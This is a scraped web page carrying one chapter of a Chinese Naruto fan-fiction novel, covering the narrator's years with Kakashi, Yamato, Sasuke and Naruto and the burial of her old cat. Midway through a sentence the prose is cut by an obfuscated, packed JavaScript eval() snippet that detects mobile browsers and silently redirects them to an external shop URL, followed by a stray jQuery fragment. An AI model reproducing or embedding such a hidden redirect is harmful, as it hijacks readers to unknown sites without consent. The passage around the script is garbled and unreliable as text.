文趣网 > 其他小说 > 宇智波一败涂地 > 95.第 95 章
    我觉得宇智波斑放弃了自己的名字,成为了孤魂野鬼,所以我才总是梦不到他。

    我无处泄愤,把外面新来的天藏抓下来和我的水球对打。

    天藏很有礼貌,也很老实。我看见天藏狼狈的样子才觉得心里好受了不少。

    我收回水球,水流在半空汇聚,绕着我的手腕转了一圈,重新散进空气里。天藏扶着膝盖喘了几口气,抬头问我:“殿下现在开心了吗?”

    我觉得这个问题莫名其妙:“何以见得?”

    “卡卡西前辈说,殿下开心以后就不会继续折腾人了。”

    我大为震惊:“他就这样在背后诋毁我?”

    天藏沉默,最后还是决定听从前辈留下的经验:“卡卡西前辈还说,和殿下沟通的时候,有什么话直接说比较好。”

    我看着他湿漉漉的头发和一脸正直的表情,说:“你也是个傻的。”

    天藏不说话了,他默默地开始拧袖子上的水。

    过了一个月,卡卡西回来给我带了一盒被挤得完全看不出原本形状的点心。

    我打开盒子看了一眼,问他:“这是什么?”

    卡卡西告诉我:“出发时应该是栗子馒头。”

    “现在呢?”

    “栗子泥。”

    我把盒子推回去,让他自己吃。

    他一边吃那盒压扁的栗子馒头,一边听天藏汇报这几天的任务情况。天藏十分客观地描述了我如何将他从树上抓下来,又如何用水球追着他打了半座山,期间没有添油加醋,是老实的孩子。

    卡卡西听完,转头看我:“殿下不是答应过我,不欺负我的部下吗?”

    我冷笑。

    他点了点头,又问天藏:“你赢了吗?”

    天藏沉默。

    ……

    卡卡西出任务回来时仍然会给我带伴手礼,有时是邻国的点心,有时是路上随便买来的书,还有几次只带回来一张写着当地特产已经卖完的纸条,试图证明自己确实努力过了。

    越来越敷衍了。

    天藏则逐渐学会了不要回答我的所有问题。

    最开始我问他暗部的任务内容,他会严肃地告诉我这是机密,后来我再问,他便装作没有听见,现在他已经能面不改色地说就不告诉你。

    对于他的成长我不太高兴,卡卡西把好好的一个老实孩子教坏了。

    几年并没有发生什么值得大书特书的事情,没有新的战争,没有新的屠杀。

    鸣人问我今年还会不会陪他过生日,他仍旧穿着那件衣服在村子里乱跑,饿了就吃泡面。

    我顺手给他买,鸣人抱着新衣服高兴了很久,第二天便穿去学校,回来时衣摆上沾着颜料,也不知道又去什么地方涂鸦了。

    佐助也在长大,他站在我旁边时已经比我高了一截。

    我十分不满,佐助却很高兴,隔一段时间便要和我比一次身高。他的头发长了又剪短,我给他买了许多衣服,他的手掌也不再是软乎乎的,练习手里剑留下的薄茧越来越明显。

    我感受到了养孩子的成就感,毕竟他十分的乖巧。

    在家里的时候,他经常念叨的我不健康生活方式,小屁孩越来越像大人了。

    我则没有多大变化。实验室里的资料却一年比一年多,堆满卷轴,卷轴旁边又加了书架,书架不够以后便沿着墙继续往上搭。

    木叶在我的感知里变成一张铺开的网。人们在网里生活,上学、工作、交谈。猿飞偶尔站在水晶球前看他们,我站在更远的地方看猿飞。

    我有时会在实验室里吃下安眠药,躺在那张越来越找不到空位的床上,反复想着哥哥的名字,宇智波斑、哥哥、夜澄的哥哥,我换着方式叫他,可他始终没有来。

    我独自生活的第七个年头,这具身体十岁了。

    忍者学校的课程变得越来越麻烦,伊鲁卡开始频繁把我叫去谈话。他觉得我的成绩非常奇怪,理论挑不出毛病,体术却烂得令人怀疑我每天上课都在故意敷衍他。

    我告诉他,不用怀疑,我确实是在敷衍。

    伊鲁卡气得额头青筋直跳,猿飞知道以后,也跑到学校问我要不要由他亲自替我补习体术。

    我就知道猿飞这老头不咋样,转头教唆鸣人去找猿飞的麻烦。

    佐助是年级第一,鸣人稳定地待在末尾。小樱剪短了头发,井野为此和她大吵一架,又在第二天若无其事地坐到一起吃午饭。雏田说话时还是很小声,鹿丸越来越懒,丁次的零食袋则越来越大,大家都在好好长大。

    良子的点心店也成功开了分店,春菜和良子分别在两家店,又各自招了新的员工,春菜的算账能力早就出师了。

    我一边工作一边实验,还要陪着孩子上学,卡卡西也感叹于我的精力充沛,我说只要抛开人类的吃饭睡觉这种低效率的生存方式,再用上分身术,他也能有这么多时间。

    卡卡西哈哈两声,连夜辞职,四舍五入也算是去教书了。

    猿飞特意把我叫过去,说卡卡西的朋友们联名替他求情,认为他继续留在暗部并不合适,问我对此有什么看法。我说这是卡卡西自己的事情。

    猿飞大概想从我这里得到一些更有参考价值的意见,可惜我又不是木叶的人事部门,能够不趁机向他收取咨询费,已经是我对老人家最大的尊敬。

    后来卡卡西自己也来问我怎么看,我们蹲在实验室门口,这里是我们惯例摸鱼吹水的地方。我说:“找我做职业咨询是要收费的。”

    “好歹也相处几年了,就不能给一点优惠吗?”

    我摊开手掌,表示亲兄弟也要明算账。卡卡西从口袋里摸出几枚硬币,仔细数了数,放进我的手里。

    “你什么意思?”

    “咨询费。”

    “就这么一点?”

    “不是有熟人优惠吗?”

    我握紧拳头,抬手便要揍他。卡卡西已经对我的脾气十分熟悉,抬起一只手拦在脸前,懒洋洋地提醒:“殿下,收了钱以后殴打客人,会影响下次生意的。”

    “你根本没有下次了。”

    我佯装揍了他两下,卡卡西配合地往旁边倒,发出一声毫无诚意的惨叫。我重新坐了回去,把那几枚硬币装进自己的口袋。

    “好了。”卡卡西放下挡脸的手,“现在可以告诉我了吗?”

    “暗部有什么好的。”我咬碎嘴里的糖,含糊地说,“任务内容不是杀人就是看别人杀人。你在那里待了这么多年,没长成变态已经算是意志坚定。”

    “好歹也是正经工作,殿下说的怎么怪怪的。”

    我伸手勾住他遮住写轮眼的护额:“低头。”卡卡西顺从地俯下身。血红色的写轮眼在光线下缓慢转动,已经不像早些年那样稍微使用便会造成剧烈的查克拉消耗:“现在这只眼睛应该挺好用了吧。”

    卡卡西略微抬着脸:“我怎么觉得这么多年过去,你其实什么都没有教我?”

    “那是因为你还没有到领悟的时候。需要自己领悟的东西,怎么能直接告诉你?”我放开他的眼皮,又顺手扯了一下他的面罩,卡卡西任由面罩被我拉到下巴的位置,只在冷风吹到脸上时眯了眯眼睛。

    他越来越没有反抗精神了,我盯着他那张终于完整露出来的脸,十分失望地说:“你现在都没有以前好玩了。”

    “每次都是殿下赢,有什么意思?”

    “当然有意思。”我理所当然地说,“就是因为我可以一直赢。”

    卡卡西叹了一口气:“真是了不起的游戏规则。”

    “过奖。”

    他抬头看着山下的木叶。这个位置能够看见大半个村子,傍晚的烟从屋顶上升起来,忍者学校已经放学,远处还能听见孩子在街上吵闹的声音。

    “所以殿下觉得,我不当暗部比较好?”

    “当不当暗部有什么区别。”我拿了新的糖,又分给卡卡西,“反正干的都是这种生活,杀人放火,保护有钱人,再杀掉另外一些人。你离开暗部以后不也是要做这些事。”

    卡卡西盯着手里的糖:“诶,殿下原来是这样理解忍者崇高理想的人吗?”

    “少来。”

    卡卡西把糖塞进嘴里,含糊地说:“以后少了一个这么好用的暗部,殿下就没有一点舍不得吗?”

    “没有呢。”我‘哼’了一声。

    卡卡西离开暗部以后,我们见面的次数便少了许多。

    木叶只有这么大,我陪佐助去买东西的时候,偶尔会在街上遇见他。他没有穿那身黑漆漆的制服,护额斜斜遮住写轮眼,手里拿着一本书,走在几个忍者中间,看起来悠闲自在。

    原来那些是他的朋友,奇怪的西瓜头和几个正常人。

    我们的视线在人群中碰撞,很快又各自移开。

    后来又遇见过几次,他偶尔独自一人,偶尔与其他上忍同行,我们从不打招呼。

    我拉开门,白色的灯光从身后落出去,在门前的石阶上照出一小块方方正正的亮处。

    卡卡西正蹲在我们以前经常坐的位置,背靠着墙,手臂随意搭在膝盖上,手里还拎着一袋点心。他已经不穿暗部的衣服了,普通上忍的马甲在夜色里显得有些模糊,只有银白色的头发被实验室的灯照亮。

    他听见开门声抬起头,露出来的那只眼睛懒洋洋地弯起来。

    “你不是不干了吗?”我问。

    “离开暗部也没有规定不能来探望朋友吧。”

    我把门关上,实验室刺眼的灯光也跟着被隔绝在里面,四周顿时暗下来。天上没有多少云,月亮挂在树梢后面,山下的木

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782039|205100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叶房屋之间亮着零零散散的灯,远处商业街的招牌也依稀可见。

    我在他旁边坐下,打开那袋点心看了一眼:“来就来,怎么还带这么少?”

    卡卡西没有理会我的挑剔,托着脸看我慢吞吞地说:“我还以为和殿下是朋友呢,殿下不理我,还是有点伤心的。”

    我拿出一块点心,觉得他的情绪毫无道理:“有什么好伤心的?朝仓夜澄不认识旗木卡卡西啊。”

    卡卡西仍然托着脸:“相处了这么多年,突然在街上变成陌生人,多少还是会有一点吧。”

    他这是伤心了,我试图安慰他:“你需要安慰吗?”

    “……殿下,太直白了。”

    我擦干净手,摸摸他的头:“这次就不收费了。”

    “那你要怎么安慰我?”

    我继续揉他的白色脑袋:“好孩子,乖孩子,别难过了,不哭不哭——”

    卡卡西拿开我的手:“殿下,这是逗狗……”

    我得意洋洋:“你输了。”

    卡卡西脸上什么表情都没有了,一脸麻木:“有没有人说过你的性格很恶劣。”

    我告诉他:“这是我的人格魅力吧。”

    “殿下,太恶劣了……”

    我重新揉揉他的头:“好了好了,乖孩子。”

    卡卡西:“……”他放弃挣扎。

    于是卡卡西又时常来找我,我猜他就是想摸鱼,天藏也一起蹲着吃点心。

    小白死在一个很普通的午后。

    它窝在窗边的玩偶堆里,那是小白最近最喜欢的位置,午后的阳光从窗户外斜进来,玩偶被晒得暖烘烘的,它把自己埋在里面,只露出一颗白色的脑袋,和往常睡着的时候没有什么区别。

    我把手放到它身上,皮毛还是柔软的,阳光替它保留了表面的暖意,却能摸到下面已经变得僵硬的身体。

    我把它抱出来,小白已经死了。

    小白在一个温暖的午后,睡在自己最喜欢的玩偶堆里,没有疼痛,也没有惊动任何人,就这样安静地死去了。

    这些年里,我无数次替它延续生命,能够延长的时间却越来越短。小白早就活过了普通猫应该拥有的寿命,良子说它大概是整个木叶最长寿的猫。

    生命有上限,死亡是所有生物公平的结局。

    棺材、鲜花、给小白的行装,另一个我也来了,我们的思维彼此相通。

    天黑以前,葬礼需要的一切都准备好了。

    木盒里铺着小白最喜欢的旧毯子,旁边放着那只已经被它玩得开线的布偶。鲜花围在它身边,我选的都是温暖的颜色。

    小白躺在中间,皮毛被梳得蓬松柔软,看起来只是睡着了。

    我拨通良子的电话,良子沉默了很久,她也知道小白必将迎来这一天:“小夜,不要太难过。”

    “没关系。”我看着已经整理好的木盒,“我已经处理好了。”

    电话那边安静下来,良子叫了我一声:“小夜,今晚我过来陪你吧。”

    “不用了,我还要带小白去墓园,太晚了。”良子大概还有许多话想说,最后却只叮嘱我路上注意安全。

    我又给佐助打了电话,他很快便到了。佐助看见站在玄关的我,又看见客厅里另一个正在整理鲜花的我,目光在两个一模一样的人之间转了一圈。

    我以前没有同时让两个自己出现在他面前,不过佐助的适应能力很好,这个世界的分身术让我不用解释很多,他只看了一会儿便接受了。

    他走到木盒旁边蹲下,看着里面的小白,佐助伸手摸了摸小白的头。

    我扛起铁锹,另一个我抱起木盒。佐助主动接过装着鲜花和罐头的袋子,跟在我们身后出了门。

    墓园已经关门了,我们从围墙翻了进去。

    绢代的墓在靠近树荫的位置,我以前常来,对周围很熟悉。我在她墓碑旁边挑了一块空地,用铁锹挖坑,佐助想要帮忙,我便把另一把铲子递给他。

    这种时候我就不想用忍术了,泥土在夜里带着潮湿的气味,铁锹落下去时发出沉闷的声响。

    我们都没有说话,坑挖好以后,把小白放了进去,鲜花摆在木盒上面,罐头零食和玩具也全部放了进去。

    调皮、不懂事的小白不需要善良,不需要懂得感恩,也不用替任何人考虑,活着的时候只要好好吃饭、晒太阳和睡觉,就已经完成了猫这一生所有应该做的事情。

    小白做得很好,它是完美的猫。

    我把第一捧土推了下去。

    佐助也蹲下来,用铲子把旁边的土推进去。我们将坑填平,最后踩实松动的泥土,我蹲在新堆起来的泥土前,把最后一朵花放下去。

    “小白,再见。”

    佐助站在我身边,也低声说:“再见。”